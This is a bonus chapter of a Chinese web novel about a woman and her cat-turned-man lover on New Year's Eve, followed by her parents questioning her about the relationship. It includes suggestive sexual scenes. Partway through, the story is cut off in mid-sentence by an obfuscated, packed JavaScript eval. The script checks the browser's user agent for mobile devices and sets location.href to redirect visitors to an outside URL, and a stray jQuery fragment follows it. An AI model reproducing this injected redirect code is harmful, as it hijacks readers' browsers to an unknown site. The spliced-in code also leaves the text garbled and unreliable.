85. 除夕夜

作品:《哎,小猫不能吃巧克力

    番外一


    梨希做饭的手艺不知道什么时候精进了。


    冬郁对他今晚的年夜饭赞不绝口:“你什么时候学的?我还担心你在家只有猫罐头吃呢。”


    尤其是香菜牛肉!超下饭!


    她看着梨希拎了东西回来,还当只有零食呢,没想到人家掏出一包瓜子把她按在沙发上,自己从冰箱掏出一把香菜。


    她的冰箱里有香菜吗?她完全不记得了。


    春晚都播完了,两人才吃完了饭,过了十二点后的夜晚烟火声骤然减弱。


    但远不到能睡觉的程度。


    “要放烟花吗?”梨希又不知道从哪里掏出来了仙女棒。


    冬郁舔了舔唇,心想这么好的时光只放烟花?不干点儿别的?


    但没好意思说出来,伸手接过。


    其实放烟花也不错,她今晚光看别人放了。


    两人在阳台上打开窗子,点燃,一点光亮在两人之间绽开。


    窗外还能看见大朵的烟花,都不及这一点金色好看。


    漆黑只有烟火光亮的室内,两人看着它静静地燃烧,一根很快结束了。


    室内重新暗淡下来。


    只剩下两人的呼吸声。


    夜好像变得深了,哪怕有烟花的光亮,眼前好似也变得朦胧起来。


    “再放一只吗?”梨希的声音很轻,轻到在黑暗的环境中有些飘忽,带这些蛊惑的味道。


    声音有点好听,但冬郁扣了下手指尖,说:“不放了?”


    一声轻笑声响起,“好。”然后四周又陷入了安静。


    就这样?


    冬郁咬了下唇,这个笨蛋。她大老远赶回来是为了吃饭的吗?


    就在她在心里骂他大笨猫的时候,梨希终于凑了上来,一手揽住她的腰,在她的唇上亲了一口。


    声音沉了些,贴在她耳边问:“不放了就该我放了,这么晚,黑猫警长也该睡了吧?”


    关黑猫警长什么事…啊,这个…嗯,冬郁根据前半句话,脑子拐了个弯儿才反应过来了。


    这个猫根本不笨,太精了。


    怎么说话还带颜色,问什么问啊!


    冬郁脸有些热,半响才发觉自己没有回答,落了下风。


    “你……!”她刚开口想要质问一下,扳回一局时,梨希的脸在黑暗中再次放大,声音带着笑意,“嘘,别吵醒黑猫警长。”


    接着,冬郁整个人腾空了,惊呼声却被堵在喉咙深处,发不出一丝。


    她双手用力地环住他的脖颈,坏心眼的在凸起的地方扣了扣又蹭了蹭,果然听见了预想中的吸气声。


    扳回一局后冬郁心情舒畅,在他耳边得意地说:“嘘,你才要小点声,黑猫警长只抓你。”


    被黑猫警长抓住又如何?梨希可以不要猫条不要罐头,什么都可以不要,只要有冬郁就够了。


    他笑了。


    男人的笑声在冬郁耳边放大,像清澈见底的小溪流,从耳朵流淌进胸腔,再一路向下,被一只修长的大手接住,紧密相贴。


    梨希抱着冬郁走到卧室门口,冬郁抓着他的肩膀:“还没洗澡……”她匆匆从爸妈家赶回来,加上路上的烟火味,绝对不能这样上·床。


    卧室也是不能进的。


    梨希立马转身往浴室走,越往室内走黑暗越浓郁,直到浴室的灯光啪一下亮起,两人才重新看清对方的面容。


    他们都从对方的脸上看见了同样的,对彼此渴望的眼神。


    冬郁不知道梨希今晚能看见她有多惊喜,他去便利店其实还买了点酒。他还没喝过酒,只看见冬郁喝醉过那一次,缠着他要看他的脸的那一次。


    他也想尝试一下人类最上瘾的东西,趁着冬郁不在,趁着他的醉态不会被看见。


    但还是被看见了,现在的他没喝酒就好像醉倒在冬郁的身上了。


    他用力地亲吻着怀中的她,面对着镜子,他能看见自己的脸色红的不正常,比喝了酒的冬郁还上头。


    他今晚已经尝到了上瘾的滋味,是她猝不及防出现的身影,也是她戏弄他喉结的手指,更是她此刻攀在他腰间的双腿。


    “不行了……疼……”冬郁艰难地出声,捂着自己的嘴巴说。


    他的软刺,攻击力有点强。


    梨希笑了下,答应地很痛快:“好,换个地方。”


    他早就想试试了。


    冬郁觉得这句话有些不太好,换哪儿?可当她想推拒一下时,才发现自己早已被他牢牢掌控在怀里,躲不了分毫。


    他的软刺一路游走,时走时停,漫无目的。


    让冬郁惊呼出声,跟亲吻全然不同的另一种触感,有些要命。


    她抓着他的头发,可绸缎一样的长发太滑了,总是在她指尖溜走。


    眼看着他乐趣越来越浓,冬郁只能先求饶。


    “下、下次吧……今天不行了。”她带着哭腔说。


    梨希吞咽了一下说:“好。”


    想要亲吻一下冬郁,这个瘫软在他怀里的人,一下子有了躲开的力气。


    看得他笑出了声,直到被恼羞成怒的人打了一巴掌,才乖乖闭上嘴巴。


    他抱着冬郁站在花洒下,他不再害怕淋水,温热的水流浇透了两人的衣服,变得难以脱离。


    他还记得自己第一次被冬郁塞进烘干箱时,他隔着两道玻璃看冬郁站在这儿的样子,模糊,让他担忧的身影,此刻变得清晰。


    不再是用眼睛看,用爪子挠门。


    今晚是冬郁紧闭着双眼,在他的背后留下一道道抓痕。


    疼,尤其被热水冲刷时更疼。


    不过明天还能用这个跟冬郁撒个娇,她还能亲手帮他上药。


    就像她第一次给猫洗澡后,发现了他身上的抓痕,小心地给他上药那样。


    让她再多留一点吧。


    冬郁筋疲力尽地回到卧室,被梨希放到床上立马打了一个滚儿。


    要离他远点。


    男人,尤其是有了经验的男人,莫名其妙会变得躁动。


    比如今晚,他的软刺差点要了她的命。


    脚指头的命也是命,不能不当回事。


    冬郁浑身清爽了,懒洋洋地趴着叹息一声,好困,累到眼皮都睁不开了。


    上次好像没有这么夸张……她模糊地想着,很快睡着了。


    等梨希收拾好今晚的一片狼藉后,就看见光溜溜睡着的冬郁。


    眼睛在白皙的皮肤上粘了三秒,才抬步去衣帽间给她找睡衣。


    不然明天肯定要生气,他后背的伤还要拜托她呢。


    第二天两人睡到半上午,冬郁猛地坐起来,看着手机里催问她回来干什么的庄菲女士的消息,着急忙慌地下床收拾。


    只敢回一句:【马上到家。】


    收获一张:【[看你怎么解释.jpg]】


    冬郁无奈摊手,怎么解释?她热搜上过那么多次,她爸妈肯定知道了,憋着没问,还能是因为什么?


    不解释,就不解释。


    反正外婆在家,他们也不能怎么办。


    硬是问的话,就说外婆介绍的:P


    梨希光着上半身来找她,被她拍了一巴掌:“回去穿衣服。”


    她还得化个妆,不然又要被念。


    梨希可怜巴巴地说:“穿不了,疼。”


    冬郁无语,她都没说疼你疼什么?


    一转过头就看见梨希转过身,露出后背一条条带着凝固血丝的伤口,看起来有点惨烈。


    冬郁:?


    怎么来的伤口?


    她张了张嘴,还没问出来就意识到了。


    她挠得。


    好吧,昨天是有些故意的成分,但没想到这么多条。


    “我给你上药。”冬郁说完,指挥人去拿药箱,没有看到梨


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16201685|174390||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    希上扬的嘴角。


    如果看见了,大概只会大骂他一句。


    伤口只是皮外伤,没什么事。但冬郁自己挠的,哪怕赶着回家也得耐心把药擦完。


    “好……”了,还没说完,一只巨大的尾巴突然冒出来,直直地朝着她的脸而来,扑了她一脸毛。


    冬郁一把抓住这条尾巴,在手里揉了揉,大约是扯疼了,梨希吸着气,说:“我不是故意的,因为很痒,控制不住。”


    声音委屈,全是控诉。


    冬郁才不吃这一套,顺着尾巴摸了摸,那尾巴在她的手里越来越欢快,越翘越高,跟它的主人不同,主动往她的手里钻。


    宽松的睡裤被顶开一条缝,供尾巴通行,此刻露出大片皮肤,比其战损的上背部,更细腻光滑的下背部被薄肌覆盖,浅淡的腰窝在长发的遮挡下若隐若现。


    冬郁视线顺着向下,舔唇吞咽了一下,手停住了。


    尾巴不老实地转了个弯儿,梨希往床上一趴,把尾巴翘得更高一些,声音扑在床上闷闷地问:“你怎么不摸了?”


    好久没有摸尾巴了,他有点想念这种滋味儿。


    尤其是尾巴下面,最链接身体的部分。


    那里摸起来最舒服。


    想要跟多的抚摸。


    冬郁看着梨希长发散落了一床,没有穿上衣的漂亮身体直白地展现在眼前,跟昨晚不同的视角,看起来没有了情事时的攻击性,倒是更加赏心悦目。


    嗐,她只想玩弄一下尾巴,教育一下小猫的。


    现在……


    她真的要迟到了!


    冬郁看着眼前吃不到嘴里的春色,狠狠地在尾巴旁边的肉上打了一下,然后拎着包飞快地跑了,还留下了一句:“今晚不回来了!”


    剩下一只茫然的猫猫人望着她的背影,没有意识到自己被打了,只疑惑为什么不摸了。


    是他变得不好摸了吗?


    狼狈逃走的冬郁回到家,果然接受到了一番盘问。


    庄菲:“这么久都没问过你,之前我去你那见到了小林,后来又说江总投资你,还有网上有个长头发的男孩子也跟你走得很近,还有还有你那个合伙人……”


    冬郁头大:“妈妈妈,您等等,这都什么乱七八糟的。哪有那么多人?”


    庄菲顿了一下:“哦,没有啊。”


    冬郁:?


    您语气怎么还挺失望?


    冬爸爸在一旁着急:“那到底是跟谁在谈恋爱?是谈恋爱没错吧?”


    不然昨晚悄摸回去,还能是什么?


    冬郁看他们着急,她就不急了,慢悠悠喝口果汁:“您两位觉得哪个好?”


    冬爸爸一下沉稳了,开始分析:“这个,要说的话,江家门槛太高了,不好,你那个合伙人相处这么久都没动静,应该也不是他,也不行。那个林家的小孩儿,我觉得还行,跟你好像都没什么那个意思,两人相处起来不能跟邻居似的啊。再就是不认识那个小孩,长得不错,但职业有点不正经,学猫叫像什么话?”


    他自言自语地一通分析,庄菲女士负责观察冬郁的表情。


    果然在听到最后一句的时候,呛了一下。


    外婆看了半天,出声道:“什么叫学猫叫?人家……”人家就是猫!


    她咳嗽一下遮掩,又找补道:“那叫自媒体,你看看你这都不懂,难怪你的直播间都没有人,你得跟年轻人学学。”


    冬郁坐在一旁:“就是。”


    冬爸爸:“……”


    他还能说什么?这不说什么都是错?


    外婆跟冬郁一人一句地说着,把冬爸爸晾在一边。


    庄菲看了这么一会儿,终于开口定音:“所以什么时候带回来见见?”


    冬郁跟外婆都不说话了。


    什么时候?那短时间内肯定不行!


    您能接受一个没有文凭没有身世的猫猫人吗?